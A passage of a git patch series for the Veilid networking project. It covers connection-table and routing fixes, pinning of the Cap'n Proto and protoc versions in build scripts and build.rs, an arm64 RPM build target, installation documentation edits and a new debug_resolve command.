+++ b/veilid-core/src/network_manager/connection_table.rs @@ -184,10 +184,20 @@ impl ConnectionTable { // then drop the least recently used connection let mut out_conn = None; if inner.conn_by_id[protocol_index].len() > inner.max_connections[protocol_index] { - if let Some((lruk, lru_conn)) = inner.conn_by_id[protocol_index].peek_lru() { + while let Some((lruk, lru_conn)) = inner.conn_by_id[protocol_index].peek_lru() { let lruk = *lruk; - log_net!(debug "connection lru out: {:?}", lru_conn); + + // Don't LRU protected connections + if lru_conn.is_protected() { + // Mark as recently used + log_net!(debug "== No LRU Out for PROTECTED connection: {} -> {}", lruk, lru_conn.debug_print(get_aligned_timestamp())); + inner.conn_by_id[protocol_index].get(&lruk); + continue; + } + + log_net!(debug "== LRU Connection Killed: {} -> {}", lruk, lru_conn.debug_print(get_aligned_timestamp())); out_conn = Some(Self::remove_connection_records(&mut *inner, lruk)); + break; } } diff --git a/veilid-core/src/network_manager/mod.rs b/veilid-core/src/network_manager/mod.rs index dc9756fa..d1b7bc74 100644 --- a/veilid-core/src/network_manager/mod.rs +++ b/veilid-core/src/network_manager/mod.rs @@ -665,7 +665,7 @@ impl NetworkManager { #[instrument(level = "trace", skip(self), err)] pub async fn handle_signal( &self, - connection_descriptor: ConnectionDescriptor, + signal_connection_descriptor: ConnectionDescriptor, signal_info: SignalInfo, ) -> EyreResult> { match signal_info { @@ -689,8 +689,9 @@ impl NetworkManager { }; // Restrict reverse connection to same protocol as inbound signal - let peer_nr = peer_nr - .filtered_clone(NodeRefFilter::from(connection_descriptor.protocol_type())); + let peer_nr = peer_nr.filtered_clone(NodeRefFilter::from( + signal_connection_descriptor.protocol_type(), + )); // Make a reverse connection to the peer and send the receipt to it rpc.rpc_call_return_receipt(Destination::direct(peer_nr), receipt) diff --git a/veilid-core/src/network_manager/network_connection.rs b/veilid-core/src/network_manager/network_connection.rs index 76b4e13d..0b73bc6c 100644 --- a/veilid-core/src/network_manager/network_connection.rs +++ b/veilid-core/src/network_manager/network_connection.rs @@ -94,6 +94,7 @@ pub struct NetworkConnection { stats: Arc>, sender: flume::Sender<(Option, Vec)>, stop_source: Option, + protected: bool, } impl NetworkConnection { @@ -112,6 +113,7 @@ impl NetworkConnection { })), sender, stop_source: None, + protected: false, } } @@ -157,6 +159,7 @@ impl NetworkConnection { stats, sender, stop_source: Some(stop_source), + protected: false, } } @@ -172,6 +175,14 @@ impl NetworkConnection { ConnectionHandle::new(self.connection_id, self.descriptor.clone(), self.sender.clone()) } + pub fn is_protected(&self) -> bool { + self.protected + } + + pub fn protect(&mut self) { + self.protected = true; + } + pub fn close(&mut self) { if let Some(stop_source) = self.stop_source.take() { // drop the stopper diff --git a/veilid-core/src/network_manager/send_data.rs b/veilid-core/src/network_manager/send_data.rs index 0cc57375..beecf26b 100644 --- a/veilid-core/src/network_manager/send_data.rs +++ b/veilid-core/src/network_manager/send_data.rs @@ -18,6 +18,36 @@ impl NetworkManager { let this = self.clone(); Box::pin( async move { + + // First try to send data to the last socket we've seen this peer on + let data = if let Some(connection_descriptor) = destination_node_ref.last_connection() { + match this + .net() + .send_data_to_existing_connection(connection_descriptor, data) + .await? + { + None => { + // Update timestamp for this last connection since we just sent to it + destination_node_ref + .set_last_connection(connection_descriptor, get_aligned_timestamp()); + + return Ok(NetworkResult::value(SendDataKind::Existing( + connection_descriptor, + ))); + } + Some(data) => { + // Couldn't send data to existing connection + // so pass the data back out + data + } + } + } else { + // No last connection + data + }; + + // No existing connection was found or usable, so we proceed to see how to make a new one + // Get the best way to contact this node let contact_method = this.get_node_contact_method(destination_node_ref.clone())?; diff --git a/veilid-core/src/routing_table/node_ref.rs b/veilid-core/src/routing_table/node_ref.rs index 6a72bf20..fd59c82b 100644 --- a/veilid-core/src/routing_table/node_ref.rs +++ b/veilid-core/src/routing_table/node_ref.rs @@ -244,7 +244,7 @@ pub trait NodeRefBase: Sized { }) } - fn all_filtered_dial_info_details(&self) -> Vec { + fn all_filtered_dial_info_details(&self) -> Vec { let routing_domain_set = self.routing_domain_set(); let dial_info_filter = self.dial_info_filter(); From 61a77461647b3e9e5ec073ae739982e304512d6c Mon Sep 17 00:00:00 2001 From: Rivka Segan <15526879-rivkasegan@users.noreply.gitlab.com> Date: Fri, 15 Sep 2023 18:24:25 +0000 Subject: [PATCH 20/47] =?UTF-8?q?Require=20Cap=E2=80=99n=20Proto=201.0.1?= =?UTF-8?q?=20on=20Windows?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This changes the Windows instructions to specify capnproto-c++-win32-1.0.1. Previously, users may have been trying to use Veilid with 0.10.4, especially in the common case of using the winget package manager. Also, the suggested Protocol Buffers version is updated to 24.3, and a note is added about rustup behavior on Windows machines that have never previously been used for development. --- DEVELOPMENT.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index d84303bc..5b738d24 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -148,11 +148,11 @@ For a simple installation allowing Rust development, follow these steps: Install Git from -Install Rust from +Install Rust from (this may prompt you to run the Visual Studio Installer, and reboot, before proceeding). -Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from +Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from -Ensure that capnp.exe is in a directory in your path. For example, it can be obtained from +Ensure that capnp.exe (for Cap’n Proto 1.0.1) is in a directory in your path. For example, it can be obtained from the distribution. Please note that the Windows Package Manager Community Repository (i.e., winget) as of 2023-09-15 has version 0.10.4, which is not sufficient. Start a Command Prompt window. From 34b4419859997c612d3e51075a302941e38ef550 Mon Sep 17 00:00:00 2001 From: zed tan Date: Fri, 15 Sep 2023 22:38:32 +0200 Subject: [PATCH 21/47] [#253] implement feedback for INSTALL.md - re-add one missing `
` - add `sudo` to `systemctl` commands - removed quoted/admonished section for running veilid-server directly - instead, made 'With systemd' and 'Without systemd' sub-sections, with instructions - removed extraneous instructions to `usermod` to allow login for `veilid` user --- INSTALL.md | 35 ++++++++++++++++------------------- 1 file changed, 16 insertions(+), 19 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index e30ef149..cc574352 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -10,7 +10,7 @@ These network support nodes are heavier than the node a user would establish on Follow the steps here to add the repo to a Debian based system and install Veilid. -**Step 1**: Add the GPG keys to your operating systems keyring. +**Step 1**: Add the GPG keys to your operating systems keyring.
*Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. ```shell @@ -74,29 +74,26 @@ sudo dnf install veilid-server veilid-cli ## Start headless node -To start a headless Veilid node, run as root: +### With systemd + +To start a headless Veilid node, run: ```shell -systemctl start veilid-server.service +sudo systemctl start veilid-server.service ``` -To have your Veilid node start at boot: +To have your headless Veilid node start at boot: ```shell -systemctl enable --now veilid-server.service +sudo systemctl enable --now veilid-server.service ``` -> **Not recommended:** -> In cases where you must run `veilid-server` -> without `systemd` (e.g., systems that use OpenRC, or containers), -> you _must_ run the `veilid-server` -> as the `veilid` user. -> Do this manually by running as root: -> -> ```shell -> # Force-allow login by setting shell -> usermod -s /bin/bash veilid -> # Run veilid-server as veilid user -> # Note that by default, veilid user is still passwordless. -> sudo -u veilid veilid-server -> ``` +### Without systemd + +`veilid-server` must be run as the `veilid` user. + +To start your headless Veilid node without systemd, run: + +```shell +sudo -u veilid veilid-server +``` From c01be8f62d8510f622f31e89b7d260a69c97f4dc Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Fri, 15 Sep 2023 11:45:12 -0400 Subject: [PATCH 22/47] capnp and protoc versioning --- .capnp_version | 1 + .earthlyignore | 4 - .protoc_version | 1 + Cargo.lock | 17 +++- Earthfile | 4 +- dev-setup/setup_windows.bat | 4 +- scripts/earthly/install_capnproto.sh | 9 +- scripts/earthly/install_protoc.sh | 21 +++- veilid-core/Cargo.toml | 4 +- veilid-core/build.rs | 98 +++++++++++++++++++ .../src/rpc_processor/coders/dial_info.rs | 18 +++- 11 files changed, 155 insertions(+), 26 deletions(-) create mode 100644 .capnp_version create mode 100644 .protoc_version diff --git a/.capnp_version b/.capnp_version new file mode 100644 index 00000000..7f207341 --- /dev/null +++ b/.capnp_version @@ -0,0 +1 @@ +1.0.1 \ No newline at end of file diff --git a/.earthlyignore b/.earthlyignore index 3523db04..c5e19354 100644 --- a/.earthlyignore +++ b/.earthlyignore @@ -1,8 +1,4 @@ .vscode .git -external/keyring-manager/android_test/.gradle -external/keyring-manager/android_test/app/build -external/keyring-manager/android_test/build -external/keyring-manager/android_test/local.properties target veilid-core/pkg diff --git a/.protoc_version b/.protoc_version new file mode 100644 index 00000000..ed18113a --- /dev/null +++ b/.protoc_version @@ -0,0 +1 @@ +24.3 \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 1883fa09..076c129f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -829,15 +829,18 @@ checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" [[package]] name = "capnp" -version = "0.17.2" +version = "0.18.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95e65021d89250bbfe7c2791789ced2c4bdc21b0e8bb59c64f3fd6145a5fd678" +checksum = "9eddbd729bd9742aa22d29e871a42ffea7f216a4ddbfdaf09ea88150ef2e7f76" +dependencies = [ + "embedded-io", +] [[package]] name = "capnpc" -version = "0.17.2" +version = "0.18.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fbbc3763fb3e6635188e9cc51ee11a26f8777c553ca377430818dbebaaf6042b" +checksum = "5067f3c8ee94d993d03150153e9a57a6ff330127b1c1ad76475051e1cef79c2d" dependencies = [ "capnp", ] @@ -1635,6 +1638,12 @@ version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +[[package]] +name = "embedded-io" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "658bbadc628dc286b9ae02f0cb0f5411c056eb7487b72f0083203f115de94060" + [[package]] name = "enum-as-inner" version = "0.5.1" diff --git a/Earthfile b/Earthfile index c5d30cc6..5c1353cd 100644 --- a/Earthfile +++ b/Earthfile @@ -74,14 +74,14 @@ deps-linux: # Code + Linux deps code-linux: FROM +deps-linux - COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid + COPY --dir .cargo .capnp_version .protoc_version files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid RUN cat /veilid/scripts/earthly/cargo-linux/config.toml >> /veilid/.cargo/config.toml WORKDIR /veilid # Code + Linux + Android deps code-android: FROM +deps-android - COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid + COPY --dir .cargo .capnp_version .protoc_version files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid RUN cat /veilid/scripts/earthly/cargo-linux/config.toml >> /veilid/.cargo/config.toml RUN cat /veilid/scripts/earthly/cargo-android/config.toml >> /veilid/.cargo/config.toml WORKDIR /veilid diff --git a/dev-setup/setup_windows.bat b/dev-setup/setup_windows.bat index 6f0f3916..456ab3c7 100644 --- a/dev-setup/setup_windows.bat +++ b/dev-setup/setup_windows.bat @@ -21,8 +21,8 @@ IF NOT DEFINED PROTOC_FOUND ( FOR %%X IN (capnp.exe) DO (SET CAPNP_FOUND=%%~$PATH:X) IF NOT DEFINED CAPNP_FOUND ( - echo capnproto compiler ^(capnp^) is required but it's not installed. Install capnp 0.10.4 or higher. Ensure it is in your path. Aborting. - echo capnp is available here: https://capnproto.org/capnproto-c++-win32-0.10.4.zip + echo capnproto compiler ^(capnp^) is required but it's not installed. Install capnp 1.0.1 or higher. Ensure it is in your path. Aborting. + echo capnp is available here: https://capnproto.org/capnproto-c++-win32-1.0.1.zip goto end ) diff --git a/scripts/earthly/install_capnproto.sh b/scripts/earthly/install_capnproto.sh index 033dced7..8bb78283 100755 --- a/scripts/earthly/install_capnproto.sh +++ b/scripts/earthly/install_capnproto.sh @@ -1,9 +1,12 @@ #!/bin/bash +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +CAPNPROTO_VERSION=$(cat "$SCRIPTDIR/../../.capnp_version") + mkdir /tmp/capnproto-install pushd /tmp/capnproto-install -curl -O https://capnproto.org/capnproto-c++-0.10.4.tar.gz -tar zxf capnproto-c++-0.10.4.tar.gz -cd capnproto-c++-0.10.4 +curl -O https://capnproto.org/capnproto-c++-${CAPNPROTO_VERSION}.tar.gz +tar zxf capnproto-c++-${CAPNPROTO_VERSION}.tar.gz +cd capnproto-c++-${CAPNPROTO_VERSION} ./configure --without-openssl make -j$1 check if [ "$EUID" -ne 0 ]; then diff --git a/scripts/earthly/install_protoc.sh b/scripts/earthly/install_protoc.sh index 272008f5..d2ee75ad 100755 --- a/scripts/earthly/install_protoc.sh +++ b/scripts/earthly/install_protoc.sh @@ -1,13 +1,24 @@ #!/bin/bash -VERSION=23.3 +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +PROTOC_VERSION=$(cat "$SCRIPTDIR/../../.protoc_version") + +UNAME_M=$(uname -m) +if [[ "$UNAME_M" == "x86_64" ]]; then + PROTOC_ARCH=x86_64 +elif [[ "$UNAME_M" == "aarch64" ]]; then + PROTOC_ARCH=aarch_64 +else + echo Unsupported build architecture + exit 1 +fi mkdir /tmp/protoc-install pushd /tmp/protoc-install -curl -OL https://github.com/protocolbuffers/protobuf/releases/download/v$VERSION/protoc-$VERSION-linux-x86_64.zip -unzip protoc-$VERSION-linux-x86_64.zip +curl -OL https://github.com/protocolbuffers/protobuf/releases/download/v$PROTOC_VERSION/protoc-$PROTOC_VERSION-linux-$PROTOC_ARCH.zip +unzip protoc-$PROTOC_VERSION-linux-$PROTOC_ARCH.zip if [ "$EUID" -ne 0 ]; then if command -v checkinstall &> /dev/null; then - sudo checkinstall --pkgversion=$VERSION -y cp -r bin include /usr/local/ + sudo checkinstall --pkgversion=$PROTOC_VERSION -y cp -r bin include /usr/local/ cp *.deb ~ else sudo cp -r bin include /usr/local/ @@ -16,7 +27,7 @@ if [ "$EUID" -ne 0 ]; then sudo rm -rf /tmp/protoc-install else if command -v checkinstall &> /dev/null; then - checkinstall --pkgversion=$VERSION -y cp -r bin include /usr/local/ + checkinstall --pkgversion=$PROTOC_VERSION -y cp -r bin include /usr/local/ cp *.deb ~ else cp -r bin include /usr/local/ diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 96f2d9aa..d1ff28cd 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -129,7 +129,7 @@ trust-dns-resolver = { version = "0.22.0", optional = true } enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 # Serialization -capnp = { version = "0.17.2", default_features = false } +capnp = { version = "0.18.1", default_features = false } serde = { version = "1.0.183", features = ["derive"] } serde_json = { version = "1.0.105" } serde-big-array = "0.5.1" @@ -282,7 +282,7 @@ wasm-logger = "0.2.0" ### BUILD OPTIONS [build-dependencies] -capnpc = "0.17.2" +capnpc = "0.18.0" [package.metadata.wasm-pack.profile.release] wasm-opt = ["-O", "--enable-mutable-globals"] diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 8c2b8364..6f4fe446 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -1,4 +1,102 @@ +use std::path::PathBuf; +use std::process::{Command, Stdio}; + +fn get_workspace_dir() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("..") + .canonicalize() + .expect("want workspace dir") +} +fn get_desired_capnp_version_string() -> String { + std::fs::read_to_string(get_workspace_dir().join(".capnp_version")) + .expect("should find .capnp_version file") + .trim() + .to_owned() +} + +fn get_capnp_version_string() -> String { + let output = Command::new("capnpc") + .arg("--version") + .stdout(Stdio::piped()) + .output() + .expect("capnpc was not in the PATH"); + let s = String::from_utf8(output.stdout) + .expect("'capnpc --version' output was not a valid string") + .trim() + .to_owned(); + + if !s.starts_with("Cap'n Proto version ") { + panic!("invalid capnpc version string: {}", s); + } + s[20..].to_owned() +} + +fn get_desired_protoc_version_string() -> String { + std::fs::read_to_string(get_workspace_dir().join(".protoc_version")) + .expect("should find .protoc_version file") + .trim() + .to_owned() +} + +fn get_protoc_version_string() -> String { + let output = Command::new("protoc") + .arg("--version") + .stdout(Stdio::piped()) + .output() + .expect("protoc was not in the PATH"); + let s = String::from_utf8(output.stdout) + .expect("'protoc --version' output was not a valid string") + .trim() + .to_owned(); + + if !s.starts_with("libprotoc ") { + panic!("invalid protoc version string: {}", s); + } + s[10..].to_owned() +} + fn main() { + let desired_capnp_version_string = get_desired_capnp_version_string(); + let capnp_version_string = get_capnp_version_string(); + let desired_protoc_version_string = get_desired_protoc_version_string(); + let protoc_version_string = get_protoc_version_string(); + + // Check capnp version + let desired_capnp_major_version = + usize::from_str_radix(desired_capnp_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int"); + + if usize::from_str_radix(capnp_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int") + != desired_capnp_major_version + { + panic!( + "capnproto version should be major version 1, preferably {} but is {}", + desired_capnp_version_string, capnp_version_string + ); + } else if capnp_version_string != desired_capnp_version_string { + println!( + "capnproto version may be untested: {}", + capnp_version_string + ); + } + + // Check protoc version + let desired_protoc_major_version = + usize::from_str_radix(desired_protoc_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int"); + if usize::from_str_radix(protoc_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int") + < desired_protoc_major_version + { + panic!( + "capnproto version should be at least major version {} but is {}", + desired_protoc_major_version, protoc_version_string + ); + } else if protoc_version_string != desired_protoc_version_string { + println!("protoc version may be untested: {}", protoc_version_string); + } + ::capnpc::CompilerCommand::new() .file("proto/veilid.capnp") .run() diff --git a/veilid-core/src/rpc_processor/coders/dial_info.rs b/veilid-core/src/rpc_processor/coders/dial_info.rs index 400075b8..94d3c9ae 100644 --- a/veilid-core/src/rpc_processor/coders/dial_info.rs +++ b/veilid-core/src/rpc_processor/coders/dial_info.rs @@ -32,8 +32,13 @@ pub fn decode_dial_info(reader: &veilid_capnp::dial_info::Reader) -> Result { let wss = wss.map_err(RPCError::protocol)?; @@ -44,8 +49,13 @@ pub fn decode_dial_info(reader: &veilid_capnp::dial_info::Reader) -> Result Date: Fri, 15 Sep 2023 11:58:34 -0400 Subject: [PATCH 23/47] oops --- veilid-core/build.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 6f4fe446..5b8f7f8a 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -90,7 +90,7 @@ fn main() { < desired_protoc_major_version { panic!( - "capnproto version should be at least major version {} but is {}", + "protoc version should be at least major version {} but is {}", desired_protoc_major_version, protoc_version_string ); } else if protoc_version_string != desired_protoc_version_string { From c13135d389de0fbd6644f5e957e7985ab474507a Mon Sep 17 00:00:00 2001 From: John Smith Date: Fri, 15 Sep 2023 14:04:20 -0400 Subject: [PATCH 24/47] newer capnp protoc and earthfile --- Earthfile | 32 ++++++++++++++++++++++------ scripts/earthly/install_capnproto.sh | 6 +++++- scripts/earthly/install_protoc.sh | 6 +++++- 3 files changed, 36 insertions(+), 8 deletions(-) diff --git a/Earthfile b/Earthfile index 5c1353cd..4c047c9e 100644 --- a/Earthfile +++ b/Earthfile @@ -2,7 +2,7 @@ VERSION 0.6 # Start with older Ubuntu to ensure GLIBC symbol versioning support for older linux # Ensure we are using an amd64 platform because some of these targets use cross-platform tooling -FROM ubuntu:16.04 +FROM ubuntu:18.04 # Install build prerequisites deps-base: @@ -12,14 +12,16 @@ deps-base: # Install Cap'n Proto deps-capnp: FROM +deps-base + COPY .capnp_version / COPY scripts/earthly/install_capnproto.sh / - RUN /bin/bash /install_capnproto.sh 1; rm /install_capnproto.sh + RUN /bin/bash /install_capnproto.sh 1; rm /install_capnproto.sh .capnp_version # Install protoc deps-protoc: FROM +deps-capnp + COPY .protoc_version / COPY scripts/earthly/install_protoc.sh / - RUN /bin/bash /install_protoc.sh; rm /install_protoc.sh + RUN /bin/bash /install_protoc.sh; rm /install_protoc.sh .protoc_version # Install Rust deps-rust: @@ -45,9 +47,6 @@ deps-rust: # Install Linux cross-platform tooling deps-cross: FROM +deps-rust - # TODO: gcc-aarch64-linux-gnu is not in the packages for ubuntu 16.04 - # RUN apt-get install -y gcc-aarch64-linux-gnu curl unzip - # RUN apt-get install -y gcc-4.8-arm64-cross RUN curl https://ziglang.org/builds/zig-linux-x86_64-0.11.0-dev.3978+711b4e93e.tar.xz | tar -C /usr/local -xJf - RUN mv /usr/local/zig-linux-x86_64-0.11.0-dev.3978+711b4e93e /usr/local/zig ENV PATH=$PATH:/usr/local/zig @@ -216,6 +215,27 @@ package-linux-arm64-deb: # save artifacts SAVE ARTIFACT --keep-ts /dpkg/out/*.deb AS LOCAL ./target/packages/ +package-linux-arm64-rpm: + FROM --platform arm64 rockylinux:8 + RUN yum install -y createrepo rpm-build rpm-sign yum-utils rpmdevtools + RUN rpmdev-setuptree + ################################# + ### RPMBUILD .RPM FILES + ################################# + RUN mkdir -p /veilid/target + COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml package /veilid + COPY +build-linux-arm64/aarch64-unknown-linux-gnu /veilid/target/aarch64-unknown-linux-gnu + RUN mkdir -p /rpm-work-dir/veilid-server + # veilid-server + RUN veilid/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh aarch64 aarch64-unknown-linux-gnu + #SAVE ARTIFACT --keep-ts /root/rpmbuild/RPMS/aarch64/*.rpm AS LOCAL ./target/packages/ + # veilid-cli + RUN veilid/package/rpm/veilid-cli/earthly_make_veilid_cli_rpm.sh aarch64 aarch64-unknown-linux-gnu + # save artifacts + SAVE ARTIFACT --keep-ts /root/rpmbuild/RPMS/aarch64/*.rpm AS LOCAL ./target/packages/ + + + package-linux-amd64: BUILD +package-linux-amd64-deb BUILD +package-linux-amd64-rpm diff --git a/scripts/earthly/install_capnproto.sh b/scripts/earthly/install_capnproto.sh index 8bb78283..61544d6b 100755 --- a/scripts/earthly/install_capnproto.sh +++ b/scripts/earthly/install_capnproto.sh @@ -1,6 +1,10 @@ #!/bin/bash SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" -CAPNPROTO_VERSION=$(cat "$SCRIPTDIR/../../.capnp_version") +if [ -f ".capnp_version" ]; then + CAPNPROTO_VERSION=$(cat ".capnp_version") +else + CAPNPROTO_VERSION=$(cat "$SCRIPTDIR/../../.capnp_version") +fi mkdir /tmp/capnproto-install pushd /tmp/capnproto-install diff --git a/scripts/earthly/install_protoc.sh b/scripts/earthly/install_protoc.sh index d2ee75ad..04cb461e 100755 --- a/scripts/earthly/install_protoc.sh +++ b/scripts/earthly/install_protoc.sh @@ -1,6 +1,10 @@ #!/bin/bash SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" -PROTOC_VERSION=$(cat "$SCRIPTDIR/../../.protoc_version") +if [ -f ".protoc_version" ]; then + PROTOC_VERSION=$(cat ".protoc_version") +else + PROTOC_VERSION=$(cat "$SCRIPTDIR/../../.protoc_version") +fi UNAME_M=$(uname -m) if [[ "$UNAME_M" == "x86_64" ]]; then From 0c5b89a15e76c372f88b9203e7c61f7467c94ce7 Mon Sep 17 00:00:00 2001 From: John Smith Date: Fri, 15 Sep 2023 16:31:28 -0400 Subject: [PATCH 25/47] arch for rpm build --- package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh b/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh index 48f941c3..8bbb55aa 100755 --- a/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh +++ b/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh @@ -10,4 +10,4 @@ cp -rf /veilid/package/rpm/veilid-server/veilid-server.spec /root/rpmbuild/SPECS /veilid/package/replace_variable.sh /root/rpmbuild/SPECS/veilid-server.spec CARGO_ARCH $CARGO_ARCH # build the rpm -rpmbuild --target "x86_64" -bb /root/rpmbuild/SPECS/veilid-server.spec \ No newline at end of file +rpmbuild --target "$ARCH" -bb /root/rpmbuild/SPECS/veilid-server.spec \ No newline at end of file From 3a4c211e85962c7effedf4a7568dd5f71e0579dc Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 11:26:07 -0400 Subject: [PATCH 26/47] resolve work --- veilid-core/src/routing_table/bucket_entry.rs | 13 +++--- veilid-core/src/rpc_processor/mod.rs | 26 ++++++++---- veilid-core/src/veilid_api/debug.rs | 41 +++++++++++++++++++ 3 files changed, 66 insertions(+), 14 deletions(-) diff --git a/veilid-core/src/routing_table/bucket_entry.rs b/veilid-core/src/routing_table/bucket_entry.rs index 6d2ae45b..0d6fd71b 100644 --- a/veilid-core/src/routing_table/bucket_entry.rs +++ b/veilid-core/src/routing_table/bucket_entry.rs @@ -649,9 +649,10 @@ impl BucketEntryInner { return false; } - // if we have seen the node consistently for longer that UNRELIABLE_PING_SPAN_SECS match self.peer_stats.rpc_stats.first_consecutive_seen_ts { + // If we have not seen seen a node consecutively, it can't be reliable None => false, + // If we have seen the node consistently for longer than UNRELIABLE_PING_SPAN_SECS then it is reliable Some(ts) => { cur_ts.saturating_sub(ts) >= TimestampDuration::new(UNRELIABLE_PING_SPAN_SECS as u64 * 1000000u64) } @@ -662,11 +663,13 @@ impl BucketEntryInner { if self.peer_stats.rpc_stats.failed_to_send >= NEVER_REACHED_PING_COUNT { return true; } - // if we have not heard from the node at all for the duration of the unreliable ping span - // a node is not dead if we haven't heard from it yet, - // but we give it NEVER_REACHED_PING_COUNT chances to ping before we say it's dead + match self.peer_stats.rpc_stats.last_seen_ts { - None => self.peer_stats.rpc_stats.recent_lost_answers < NEVER_REACHED_PING_COUNT, + // a node is not dead if we haven't heard from it yet, + // but we give it NEVER_REACHED_PING_COUNT chances to ping before we say it's dead + None => self.peer_stats.rpc_stats.recent_lost_answers >= NEVER_REACHED_PING_COUNT, + + // return dead if we have not heard from the node at all for the duration of the unreliable ping span Some(ts) => { cur_ts.saturating_sub(ts) >= TimestampDuration::new(UNRELIABLE_PING_SPAN_SECS as u64 * 1000000u64) } diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index 38a38ed8..63510ab0 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -453,7 +453,7 @@ impl RPCProcessor { ////////////////////////////////////////////////////////////////////// - /// Search the DHT for a single node closest to a key and add it to the routing table and return the node reference + /// Search the DHT for a single node and add it to the routing table and return the node reference /// If no node was found in the timeout, this returns None async fn search_dht_single_key( &self, @@ -491,14 +491,20 @@ impl RPCProcessor { }; // Routine to call to check if we're done at each step - let check_done = |closest_nodes: &[NodeRef]| { - // If the node we want to locate is one of the closest nodes, return it immediately - if let Some(out) = closest_nodes - .iter() - .find(|x| x.node_ids().contains(&node_id)) - { - return Some(out.clone()); + let check_done = |_:&[NodeRef]| { + let Ok(Some(nr)) = routing_table + .lookup_node_ref(node_id) else { + return None; + }; + + // ensure we have some dial info for the entry already, + // and that the node is still alive + // if not, we should keep looking for better info + if !matches!(nr.state(get_aligned_timestamp()),BucketEntryState::Dead) && + nr.has_any_dial_info() { + return Some(nr); } + None }; @@ -534,8 +540,10 @@ impl RPCProcessor { .map_err(RPCError::internal)? { // ensure we have some dial info for the entry already, + // and that the node is still alive // if not, we should do the find_node anyway - if nr.has_any_dial_info() { + if !matches!(nr.state(get_aligned_timestamp()),BucketEntryState::Dead) && + nr.has_any_dial_info() { return Ok(Some(nr)); } } diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 2ef953de..e0d05661 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -871,6 +871,47 @@ impl VeilidAPI { Ok(format!("{:#?}", cm)) } + async fn debug_resolve(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let routing_table = netman.routing_table(); + + let args: Vec = args.split_whitespace().map(|s| s.to_owned()).collect(); + + let dest = async_get_debug_argument_at( + &args, + 0, + "debug_resolve", + "destination", + get_destination(routing_table.clone()), + ) + .await?; + + match &dest { + Destination::Direct { + target, + safety_selection: _, + } => Ok(format!( + "Destination: {:#?}\nTarget Entry:\n{}\n", + &dest, + routing_table.debug_info_entry(target.clone()) + )), + Destination::Relay { + relay, + target, + safety_selection: _, + } => Ok(format!( + "Destination: {:#?}\nTarget Entry:\n{}\nRelay Entry:\n{}\n", + &dest, + routing_table.clone().debug_info_entry(target.clone()), + routing_table.debug_info_entry(relay.clone()) + )), + Destination::PrivateRoute { + private_route: _, + safety_selection: _, + } => Ok(format!("Destination: {:#?}", &dest)), + } + } + async fn debug_ping(&self, args: String) -> VeilidAPIResult { let netman = self.network_manager()?; let routing_table = netman.routing_table(); From ad47e400ed1bcf899e42f624c2c32567b3af6497 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 